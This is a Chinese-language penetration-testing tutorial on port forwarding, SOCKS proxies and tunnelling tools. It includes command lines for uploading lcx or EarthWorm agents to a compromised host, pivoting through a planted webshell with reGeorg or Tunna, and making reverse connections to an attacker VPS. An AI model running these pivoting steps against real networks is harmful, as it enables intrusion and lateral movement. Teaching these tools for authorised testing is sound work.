概念区分
端口转发
端口转发就是将一个端口,这个端口可以本机的端口也可以是本机可以访问到的任意主机的端口,转发到任意一台可以访问到的IP上,通常这个IP是公网IP。
适用端口转发的网络环境有以下几种:
-
服务器处于内网,可以访问外部网络。
-
服务器处于外网,可以访问外部网络,但是服务器安装了防火墙来拒绝敏感端口的连接。
-
服务器处于内网,对外只开放了80端口,并且服务器不能访问外网网络。
端口映射
映射端口,就是将一个内网端口映射到公网上的某个端口,假设我自己的电脑是在内网中,没有公网IP,但是我想提供一个端口供其他人使用,这就是端口映射。
端口转发和端口映射的区别
端口映射场景
外网主机A想访问内网主机B上的服务。
端口转发场景
外网主机A已经可以任意内网主机B上的端口,但是无法访问内网主机C上的端口。此时可以将C主机的端口转发到B主机的端口,那么外网主机A访问B主机的某某端口就相当于访问了C主机的某某。
端口转发和端口映射原理是一样的只不过是应用场景不一样,假如我们将本机的端口转发到远程主机端口,我们可以叫端口映射,也可以叫端口转发
代理
代理(Proxy),也称网络代理,是一种特殊的网络服务,允许一个网络终端(一般为客户端)通过这个服务与另一个网络终端(一般为服务器)进行非直接的连接。一些网关、路由器等网络设备具备网络代理功能。一般认为代理服务有利于保障网络终端的隐私或安全,防止攻击。
代理一般可以分为http代理、socks代理、ftp代理、telent代理、ssl代理等
正向代理和反向代理的区别
正向代理中,proxy 和 client 同属一个 LAN,对 server 透明;
反向代理中,proxy 和 server 同属一个 LAN,对 client 透明。
一个代理的是客户端,一个代理的是服务器,实际上proxy在两种代理中做的事都是代为收发请求和响应,不过从结构上来看正好左右互换了下,所以把前者那种代理方式叫做正向代理,后者叫做反向代理。
隧道
隧道是远距离的服务器和客户端之间的中转站。隧道可按要求建立起一条与其他服务器的通信线路,届时使用 SSL 等加密手段进行通信。隧道的目的是确保客户端能与服务器进行安全的通信。隧道本身不会去解析 HTTP 请求。也就是说,请求保持原样中转给之后的服务器。隧道会在通信双方断开连接时结束。
隧道和代理的区别是:代理是委托一个人找目标,隧道是通过特定的通讯方法,直接找到这个目标;代理最主要的特征是,无论代理后面挂了几个设备,代理对外只表现为一个设备。外部设备以为自己是在和代理交互,而不能感知代理内部的设备。隧道是一个虚拟的路径,用来使到达隧道入口的数据,穿越原本不方便穿越的网络,到达另一侧出口。隧道允许数据从一个网络移动到另一个网络,且只关心流量的传输,不对承载的流量进行解析,而代理需要对你的请求进行解析,然后代替你进行流量的转发。
隧道会添加报文头部,代理会修改报文头部
端口转发工具
概念讲解
这里以lcx为例子做一个说明,lcx.exe 是一个基于 socket 套接字实现的端口转发工具,它是从 linux 下的htran 工具移植到windows平台的。
socket端口转发
一条正常的socket隧道必具备两端,一侧为服务端,它会监听一个端口等待客户端连接;
另一侧为客户端,通过传入服务端的ip和端口,才能主动连接到服务器。
而端口转发工具(lcx.exe/htran)的工作原理其实是将两条 socket 隧道对接起来,打造一条可“异步双向通讯”的转接隧道。由于合法的socket隧道有两种接口分别对应服务端和客户端,根据数学中的排列组合可计算出端口转发供具有4种工作状态,它们是:
1.“客户端” 接 “客户端”
2.“客户端” 接 “服务端”
3.“服务端” 接 “客户端”
4.“服务端” 接 “服务端”
又由于端口转发为“异步双向通讯”隧道,隧道转接不分先后,所以状态2和状态3 是相同的,合并之后,便分别对应了lcx的三种工作模式,如下所示:
1、slave “客户端” 接 “客户端”
2、tran “服务端” 接 “客户端”
3、listen “服务端” 接 “服务端”
于是便可理解lcx工具的三种命令参数的格式为何是以下的样子了:
–listen ConnectPort TransmitPort
–tran ConnectPort TransmitHost TransmitPort
–slave ConnectHost ConnectPort TransmitHost TransmitPort
socks代理
Socks 代理从名字中的“代理”二字就可以了解它的功能核心:那就是帮他人完成socket访问网络。
有的同学大概知道浏览器(IE/Chrome/FireFox等)有设置socks代理的配置项,可用来访问网络的能力。当我们通过代理服务器访问一个网址时,socks服务器其实是起到了一个中间人的身份,他分别与两方(浏览器/被访问的网站)通讯然后将获取到的结果告知另一方。
在使用代理服务的过程中我们会发现,只要配置好socks代理后,就不再需要指定被访问目标,直接在浏览器的地址栏输入地址就能访问任意网站。这是由于socks代理中有一个交互协议,当我们准备访问一个网站并敲击回车时,浏览器会先发送一个被访问目标的基本信息(URL和服务端口)给socks服务端,socks服务端解析了这个信息后,会代替浏览器去访问目标网站,并将访问结果回复给浏览器端。这便是socks代理的工作原理了。
通过这段对socks代理的描述,可知socks代理其实可理解为一个增强版的 lcx -tran 它在服务端监听一个服务端口(ConnectPort),当有新的连接请求时会从socks协议中解析出访问目标的URL(TransmitHost)的目标端口(TransmitPort),再开始执行lcx -tran 的具体功能。
两者的异同
1.socket端口转发无需通讯协议支持,而socks代理需要socks协议支持。
2.socket端口转发有三种工作方式,而socks代理仅有一种工作方式。
3.如果说socks是帮他人访问网络(一对多),那么端口转发就是帮他人访问主机的某个端口(一对一)。
端口转发常用工具
msf反弹木马
- 使用条件:服务器通外网,拥有自己的公网ip
#转发目标主机的3389远程桌面服务端口到本地的8888 portfwd add -l 8888 -p 3389 -r x.x.x.x#使用linux中的rdesktop连接本地的8888端口。 rdesktop 127.0.0.1:8888
lcx
- 使用条件:服务器通外网,拥有自己的公网ip
lcx是一个经典的端口转发工具,直接把3389转发到公网的vps上。
通过文件上传将lcx.exe传到目标服务器中,并执行命令,其中x.x.x.x是vps的公网ip。
#根据前文内容可以判断该命令是监听vps的9999发端口,将其转发到3389端口。 lcx.exe -slave x.x.x.x 9999 127.0.0.1 3389
portmap
./portmap -m 2 -p1 3389 -h2 x.x.x.x -p2 9999
p1为监听的端口
p2为转发到的端口
-m参数这个参数表明了以哪种方式来用这个工具
1.监听port1 端口并且连接主机2的port2 端口
2.监听port1和port2 端口。
3.连接主机1对应的端口和主机2对应的端口
ssh端口转发
SSH 提供了一个非常有意思的功能,就是端口转发,它能够将其他 TCP 端口的网络数据通过 SSH 链接来转发,并且自动提供了相应的加密及解密服务。使用可以参考https://www.cnblogs.com/keerya/p/7612715.html#_label1
(1) 本地端口转发(正向连接)
#ssh -L [local_bind_addr:]local_port:remote:remote_port middle_host #-L 本地网卡地址:本地端口:目标地址:目标端口,本地网卡地址可以省略 ssh -fgN -L 2222:host1:22 host1
(2) 远程端口转发(反向连接)
#ssh -R [bind_addr:]remote1_port:host:port remote1 #-R 远程网卡地址:远程端口:目标地址:目标端口 ssh -fgN -R 2222:localhost:22 host1
(3) 动态转发
#ssh -D [bind_addr:]port remote ssh -fgN -D 12345 root@host1
本地端口转发:把本地端口数据转发到远程服务器,本地服务器作为SSH客户端及应用客户端
远程端口转发:把远程端口数据转发到本地服务器,本地服务器作为SSH客户端及应用服务端
iptables 端口转发
CentOS 7.0 以下使用的是iptables,可以通过iptables实现数据包的转发
(1) 开启数据转发功能
vi /etc/sysctl.conf #增加一行 net.ipv4.ip_forward=1 //使数据转发功能生效 sysctl -p
(2)将本地的端口转发到本机端口
iptables -t nat -A PREROUTING -p tcp --dport 2222 -j REDIRECT --to-port 22
(3)将本机的端口转发到其他机器
iptables -t nat -A PREROUTING -d 192.168.172.130 -p tcp --dport 8000 -j DNAT --to-destination 192.168.172.131:80 iptables -t nat -A POSTROUTING -d 192.168.172.131 -p tcp --dport 80 -j SNAT --to 192.168.172.130 #清空nat表的所有链 iptables -t nat -F PREROUTING
firewall 端口转发
CentOS 7.0以上使用的是firewall,通过命令行配置实现端口转发。
(1) 开启伪装IP
firewall-cmd --permanent --add-masquerade
(2) 配置端口转发,将到达本机的12345端口的访问转发到另一台服务器的22端口。
firewall-cmd --permanent --add-forward-port=port=12345:proto=tcp:toaddr=192.168.172.131:toport=22
(3) 重新载入,使其失效
firewall-cmd --reload
socks代理工具
基于web服务的socks5工具
基于web服务的socks5工具的优点是,在内网服务器不通外网的情况下也能正常使用。例如:
资产组里有2台机器:主机A、主机B。其中主机A上运行了Web服务,且IP或者端口映射到公网,可以被外部人员访问,主机B是在外网访问不到的。攻击者通过漏洞在主机A上传了Webshell,但同时又出于某些限制并未能得到主机A的主机权限也无法反弹shell,那么他这个时候,也是无法通过常规方法反弹shell或者直接登录主机A从而访问到主机B的。
此时基于web服务的socks5隧道就在这个时候起了作用,攻击者已经有了主机A的webshell权限(即可以在web服务器中上传文件),而主机A可以和主机B通信。那么在主机A上安装相应工具,使得攻击者发出的请求以及目标机器的响应经过A的http转发,达到攻击者可以和主机B进行通信的效果。
常用的工具有:reGeorg,reDuh,Tunna和Proxifier。
reGeorg
reGeorg是reDuh的升级版,主要是把内网服务器的端口通过http/https隧道转发到本机,形成一个回路。用于目标服务器在内网或做了端口策略的情况下连接目标服务器内部开放端口。它利用webshell建立一个socks代理进行内网穿透,服务器必须支持aspx、php或jsp这些web程序中的一种。
下载地址:https://github.com/sensepost/reGeorg
首先选择对应脚本的tunnel上传到服务器
然后访问上传文件,显示如下则表示成功
在reGeorg文件夹下执行reGeorgSocksProxy.py,-p为指定隧道的端口,-u为刚刚上传的tunnel文件地址。
python reGeorgSocksProxy.py -p 8888 -u http://x.x.x.x/tunnel.php
打开Proxifier,更改为脚本指定的端口
本地电脑成功通过socks5带进了目标主机的内网
Tunna
下载地址:https://github.com/SECFORCE/Tunna
Tunna和reduh原理一样..
使用方法:
-
上传源码包中文件夹webshell下的脚本至网站目录
-
然后本地进行连接上传的webshell即可
python proxy.py -u http://172.0.0.1/conn.php -l 1234 -r 3389 -v #转发SSH服务需要加上-s参数避免中断
其它功能
#socks代理 goto 对应id socks 1080#shell管理 shell 4444 nc -v 127.0.0.1 4444#端口转发 lcxtran 本地端口 目标ip 目标端口#上传下载文件 upfile 本地文件路径 目标路径 downfile 目标文件路径 本地存放路径
能够进行多层代理的工具
Earthworm(又称ew)
该工具能够以“正向”、“反向”、“多级级联”等方式打通一条网络隧道,直达网络深处。
使用教程:EarthWorm
使用条件:目标主机通外网,拥有自己的公网ip
选择对应主机操作系统的执行文件。
首先在公网vps上执行:
./ew_for_linux64 -s rcsocks -l 10000 -e 11000 #-l为Proxifier连接的端口,-e为目标主机和vps的通信端口。
然后在目标主机中执行:
ew_for_Win.exe -s rssocks -d 1.1.1.1 -e 11000
socks5隧道建立成功,成功把自己的主机带进目标内网。
使用Proxifier,配置ip和连接端口。
Termite
Termite 是EW(EarthWorm)的最新版,主要特性: 多平台支持、跳板机互联、正反向级联、小巧无依赖、内置Shell令主机管理更方便。
官方网站: Termite
项目地址:https://github.com/rootkiter/Termite
ew 和 termite已经不再进行维护了,下载方式如下
git clone https://github.com/rootkiter/Binary-files.git cd .\Binary-files\ git checkout bd32230 ls
使用方式
目标在公网
#目标A: agent_win32.exe -l 8888#PC: admin_win32.exe -c 目标ip -p 8888
目标在内网(能出网)
#在vps运行: agent_win32.exe -l 8888#在自己机器运行: admin_win32.exe -c vps_ip -p 8888#在目标机器运行: agent_win32.exe -c vps_ip -p 8888
目标B在内网(不出网,通出网机器A)
agent正向连接
#a.在vps运行: agent_win32.exe -l 8888#b.在PC运行: admin_win32.exe -c vps_ip -p 8888#c.在出网机器A运行: agent_win32.exe -c vps_ip -p 8888#d.在目标B运行: agent_win32.exe -l 9000#e.在PC运行: goto A_id connect B_ip 9000
agent间反向连接
#a.在vps运行: agent_win32.exe -l 8888#b.在PC运行: admin_win32.exe -c vps_ip -p 8888#c.在出网机器A运行: agent_win32.exe -c vps_ip -p 8888#d.在PC运行: goto A_id listen 9000#e.在目标B运行: agent_win32.exe -c A_ip -p 9000
venom
Venom是一款为渗透测试人员设计的使用Go开发的多级代理工具。Venom可将多个节点进行连接,然后以节点为跳板,构建多级代理。渗透测试人员可以使用Venom轻松地将网络流量代理到多层内网,并轻松地管理代理节点。
下载地址:https://github.com/Dliv3/Venom
安装
go get -u github.com/Dliv3/Venom/...# $GOPATH是安装Go时配置的环境变量,可通过go env命令查看 cd $GOPATH/src/github.com/Dliv3/Venom# 编译好的二进制文件存放在当前目录下的release文件夹中 ./build.sh
admin/agent命令行参数,admin节点和agent节点均可监听连接也可发起连接。
admin监听端口,agent发起连接:
./admin_macos_x64 -lport 9999
./agent_linux_x64 -rhost 192.168.0.103 -rport 9999
agent监听端口,admin发起连接:
./agent_linux_x64 -lport 8888
./admin_macos_x64 -rhost 192.168.204.139 -rport 8888
fuso
https://github.com/editso/fuso
这是一款用于内网穿透 端口转发的神器,帮助运维 开发 快速部署与接入内网 同时支持CobaltStrike 一键转发等功能。
多功能型的代理工具
frp
通过SSH访问内网机器
服务端配置
[common] bind_port = 7000 # 客户端通信端口
./frps -c ./frps.ini # 临时 nohup ./frps -c ./frps.ini & # 后台
客户端配置
[common] server_addr = x.x.x.x server_port = 7000[ssh] type = tcp local_ip = 127.0.0.1 local_port = 22 remote_port = 6000
local_ip
配置为本地需要暴露到公网的服务地址。
local_port
配置为本地需要暴露到公网的服务端口。
remote_port
表示在 frp 服务端监听的端口,访问此端口的流量将会被转发到本地服务对应的端口。
启动
./frpc -c ./frpc.ini # 临时 nohup ./frpc -c ./frpc.ini & # 后台
使用
ssh -oPort=6000 test@x.x.x.x
frp 会将请求 x.x.x.x:6000 的流量转发到内网机器的 22 端口
通过HTTP协议访问内网WEB服务
HTTP 类型的代理相比于 TCP 类型,不仅在服务端只需要监听一个额外的端口 vhost_http_port
用于接收 HTTP 请求,还额外提供了基于 HTTP 协议的诸多功能。
服务端配置,修改 frps.ini 文件,设置监听 HTTP 请求端口为 8080:
[common] bind_port = 7000 vhost_http_port = 8080
客户端配置
修改 frpc.ini 文件,假设 frps 所在的服务器的 IP 为 x.x.x.x,local_port
为本地机器上 Web 服务监听的端口, 绑定自定义域名为 custom_domains
。
[common] server_addr = x.x.x.x server_port = 7000[web] type = http local_port = 80 custom_domains = www.yourdomain.com[web2] type = http local_port = 8080 custom_domains = www.yourdomain2.com
使用
- 分别启动 frps 和 frpc。
- 将
www.yourdomain.com
和www.yourdomain2.com
的域名 A 记录解析到 IPx.x.x.x
,如果服务器已经有对应的域名,也可以将 CNAME 记录解析到服务器原先的域名。或者可以通过修改 HTTP 请求的 Host 字段来实现同样的效果。 - 通过浏览器访问
http://www.yourdomain.com:8080
即可访问到处于内网机器上 80 端口的服务,访问http://www.yourdomain2.com:8080
则访问到内网机器上 8080 端口的服务。
通过socks5搭建隧道
服务端配置,修改frps.ini配置文件
[common] bind_port = 7000
bind_port:绑定的端口
客户端配置,修改frpc.ini配置文件
[common] server_addr = x.x.x.x server_port = 7000[test] remote_port = 10000 #代理的端口 plugin = socks5 #使用的协议 use_encryption = true #是否加密 use_compression = true
- remote_port: 代理的端口
- plugin: 使用的协议
- use_encryption: 是否加密
- plugin_user= admin #socks5用户名
- plugin_passwd= admin #socks5密码
使用
然后可以本机设置代理: socks5 xxx.xxx.xxx.xxx(VPS) 10000,即可访问内网系统
可以利用命令如下命令来测试sockets代理搭建的是否成功
curl --socks5 x.x.x.x:10000 http://www.baidu.com
另外可以在SwitchyOmega中配置sockets5代理可以实现2.2的功能
详细使用可以参考https://www.cnblogs.com/tomyyyyy/p/15195601.html
iox
具有流量加密、友好的命令行参数、逻辑优化、UDP流量转发等优点
下载地址:https://github.com/EddieIvan01/iox
两种工作模式
fwd模式:
同时监听 0.0.0.0:8888 和0.0.0.0:9999,将两个连接间的流量进行转发。
/iox fwd -l 8888 -l 9999 #for lcx: ./lcx -listen 8888 9999
监听0.0.0.0:8888,把流量转发到1.1.1.1:9999。
./iox fwd -l 8888 -r 1.1.1.1:9999 #for lcx: ./lcx -tran 8888 1.1.1.1 9999
连接1.1.1.1:8888和1.1.1.1:9999, 在两个连接间转发流量。
./iox fwd -r 1.1.1.1:8888 -r 1.1.1.1:9999 #for lcx: ./lcx -slave 1.1.1.1 8888 1.1.1.1 9999
proxy模式:
在本地 0.0.0.0:1080启动Socks5服务
./iox proxy -l 1080 #for ew: ./ew -s ssocksd -l 1080
在目标主机上开启Socks5服务,将通信流量转发至公网VPS,VPS上将流量从0.0.0.0:9999转发到0.0.0.0:1080。此时,你必须将两条命令成对使用,因为它内部包含了一个简单的协议来控制回连。
./iox proxy -r 1.1.1.1:9999 ./iox proxy -l 9999 -l 1080 // 注意,这两个端口是有顺序的 #for ew: ./ew -s rcsocks -l 1080 -e 9999 ./ew -s rssocks -d 1.1.1.1 -e 9999
内网穿透工具
nps
nps是一款轻量级、高性能、功能强大的内网穿透代理服务器。目前支持tcp、udp流量转发,可支持任何tcp、udp上层协议(访问内网网站、本地支付接口调试、ssh访问、远程桌面,内网dns解析等等……),此外还支持内网http代理、内网socks5代理、p2p等,并带有功能强大的web管理端。
下载地址:https://github.com/ehang-io/nps/releases